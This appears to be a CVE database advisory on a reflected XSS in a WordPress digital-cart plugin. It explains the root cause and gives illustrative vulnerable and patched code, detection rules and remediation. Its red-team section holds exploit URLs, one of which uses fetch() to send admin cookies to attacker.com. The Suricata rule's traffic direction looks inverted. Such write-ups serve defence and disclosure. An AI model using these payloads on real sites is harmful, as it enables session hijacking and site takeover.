CVE-2024-6134
Executive Summary
CVE-2024-6134 is a Reflected Cross-Site Scripting (XSS) vulnerability identified in the WordPress plugin wp-cart-for-digital-products prior to version 8.5.6. The plugin fails to properly sanitize and escape a parameter before reflecting it back to the user, allowing an attacker to inject arbitrary JavaScript. This flaw is particularly dangerous because it can be leveraged against high-privilege users such as administrators, potentially leading to session hijacking, credential theft, or full site compromise. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation) and has a CVSS v3.1 base score of 6.1 (Medium), with a vector emphasizing network-based, low-complexity attacks that require user interaction.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed through the official WordPress Plugin Directory. Users are advised to update to version 8.5.6 or later, which contains the necessary input sanitization and output escaping. No known supply chain compromise has been reported, but the risk of XSS in a widely-used plugin underscores the importance of rigorous code review and dependency management in WordPress environments.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – No authentication needed.
- User Interaction (UI): Required – The victim must click a crafted link.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No direct impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the ability to target high-privilege users (admins) elevates the real-world risk. An attacker could use this to steal session cookies, perform actions on behalf of the admin, or install malicious plugins.
Deep Dive & Mechanics
The vulnerability resides in the wp-cart-for-digital-products plugin, which provides e-commerce functionality for selling digital products. The plugin fails to sanitize a specific GET or POST parameter before reflecting it in the HTML response. This is a classic Reflected XSS pattern.
Root Cause: The plugin uses a function like echo $_GET['param'] or echo $_POST['param'] without applying WordPress's built-in escaping functions (e.g., esc_html(), esc_attr(), or wp_kses()). This allows an attacker to inject arbitrary HTML and JavaScript.
Attack Flow:
- An attacker crafts a malicious URL containing a JavaScript payload in the vulnerable parameter.
- The attacker sends this URL to a high-privilege user (e.g., via phishing email or social engineering).
- The victim clicks the link while authenticated to the WordPress admin panel.
- The plugin reflects the payload without sanitization, causing the browser to execute the attacker's script.
- The script can then steal session cookies, perform admin actions, or redirect to a malicious site.
WordPress Context: Since this is a WordPress plugin, the vulnerability is specific to the plugin's code, not the core WordPress or server software (Apache/Nginx). The attack surface is limited to sites using the vulnerable plugin version.
Vulnerable vs. Patched Code
Vulnerable Code (pre-8.5.6):
// Example vulnerable function
function display_message() {
$msg = $_GET['message'];
echo "<div class='notice'>$msg</div>";
}
The $msg variable is directly echoed without escaping, allowing injection of <script>alert('XSS')</script>.
Patched Code (8.5.6+):
function display_message() {
$msg = isset($_GET['message']) ? sanitize_text_field($_GET['message']) : '';
echo "<div class='notice'>" . esc_html($msg) . "</div>";
}
The patched version uses sanitize_text_field() to strip dangerous characters and esc_html() to safely encode HTML entities before output.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site running wp-cart-for-digital-products < 8.5.6.
- A victim with admin privileges who clicks the crafted link.
Exploit Payload:
http://target.com/wp-admin/admin.php?page=wp-cart-for-digital-products&message=<script>alert(document.cookie)</script>
This simple payload demonstrates the XSS by displaying the victim's cookies. A real attacker would use a more sophisticated payload to exfiltrate data.
Advanced Payload (Cookie Stealing):
http://target.com/wp-admin/admin.php?page=wp-cart-for-digital-products&message=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
This sends the victim's cookies to an attacker-controlled server.
Lab Setup:
- Install a local WordPress instance (e.g., using Docker or XAMPP).
- Install the vulnerable plugin version (e.g., 8.5.5).
- Create an admin user and log in.
- Open a browser and paste the crafted URL.
- Observe the JavaScript execution (e.g., alert box or network request).
Blue Team (Detection & Defense)
Detection:
- Monitor web server logs for suspicious query strings containing
<script>,onerror=, orjavascript:. - Use WAF rules to block reflected XSS patterns.
- Deploy browser-based XSS filters (e.g., X-XSS-Protection header).
Defense:
- Immediately update the plugin to version 8.5.6 or later.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Educate users about phishing links and the dangers of clicking untrusted URLs.
- Use WordPress security plugins (e.g., Wordfence) that include XSS detection.
Indicators of Compromise (IOCs)
- URL Patterns: Requests to
/wp-admin/admin.php?page=wp-cart-for-digital-products&message=containing<script>oronerrortags. - Log Entries: HTTP GET requests with
messageparameter containing HTML/JavaScript. - Network Traffic: Outbound connections to unknown domains from the WordPress admin panel.
- File Changes: Unexpected modifications to WordPress core files or plugin files (indicates post-exploitation).
Detection Engineering
YARA Rule
rule CVE_2024_6134_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting wp-cart-for-digital-products plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-6134"
strings:
$param = "page=wp-cart-for-digital-products" nocase
$xss1 = /<script[^>]*>/i
$xss2 = /onerror\s*=/i
$xss3 = /onload\s*=/i
condition:
$param and any of ($xss*)
}
Sigma Rule
title: Reflected XSS Attempt Against wp-cart-for-digital-products
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in the message parameter of the wp-cart-for-digital-products plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains: "page=wp-cart-for-digital-products"
cs-uri-query|contains|all:
- "message="
- "<script"
condition: selection
falsepositives:
- Legitimate use of script tags in message parameter (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-6134 Reflected XSS in wp-cart-for-digital-products";
flow:to_server,established;
content:"page=wp-cart-for-digital-products"; http_uri;
content:"message="; http_uri;
pcre:"/<script[^>]*>/i";
classtype:web-application-attack;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Update the plugin to version 8.5.6 or later via the WordPress admin dashboard or by downloading from the official repository.
- Verify update by checking the plugin version in
/wp-content/plugins/wp-cart-for-digital-products/readme.txt.
Long-Term Mitigations:
- Implement a Web Application Firewall (WAF) with XSS rules.
- Enforce Content Security Policy (CSP) headers:
Content-Security-Policy: script-src 'self'; - Regularly audit WordPress plugins for known vulnerabilities.
- Use WordPress hardening plugins that add extra security layers.
Patch Details: The fix is included in version 8.5.6. No official patch from OSV or GitHub is available, but the plugin's changelog confirms the security fix.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.